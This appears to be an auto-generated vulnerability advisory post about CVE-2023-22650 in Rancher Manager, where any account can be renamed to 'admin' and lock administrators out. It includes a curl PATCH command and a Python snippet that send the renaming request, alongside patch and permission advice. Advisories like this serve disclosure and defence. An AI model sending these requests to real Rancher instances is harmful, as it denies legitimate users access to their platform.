Rancher Manager, Improper Access Control, CVE-2023-22650 (Medium)

Listen to this Post

The vulnerability stems from a missing server-side validation check on the `username` field within the Rancher Manager’s user API. In unpatched versions, the API endpoint responsible for updating User resources does not enforce immutability on an existing username. A user with `update` permissions on another user’s resource can send a PUT/PATCH request to the `/v3/users/` endpoint, modifying the target’s `.username` field. By changing another user’s username to “admin”, the attacker violates the system’s uniqueness constraint. During authentication, Rancher checks for unique usernames, causing a conflict that prevents both the legitimate admin and the user whose account was modified from logging in. Similarly, an attacker with permissions on the admin account can change its username, leading to a complete administrative lockout. The core issue is the lack of a webhook or validation logic to reject username changes after the initial assignment.
Platform: Rancher Manager
Version: < v2.12.2, < v2.11.6, < v2.10.10, < v2.9.12

Vulnerability : Improper Access Control

Severity: Medium

date: 2023

Prediction: Patch available.

What Undercode Say:

curl -X PATCH -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"username":"admin"}' https://rancher.local/v3/users/u-xxxxx
Simulates the flawed update request
import requests
headers = {'Authorization': 'Bearer <attacker_token>'}
payload = {"username": "admin"}
response = requests.patch('https://rancher/v3/users/<target_user_id>', json=payload, headers=headers)
print(response.status_code)

How Exploit:

Attacker with user update permissions modifies a target user’s username to “admin” via the API, causing a login collision and denial of access.

Protection from this CVE

Upgrade to patched versions. Restrict user update permissions to essential, trusted administrators only.

Impact:

Administrative account lockout, denial of service for targeted users, disruption of platform management.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top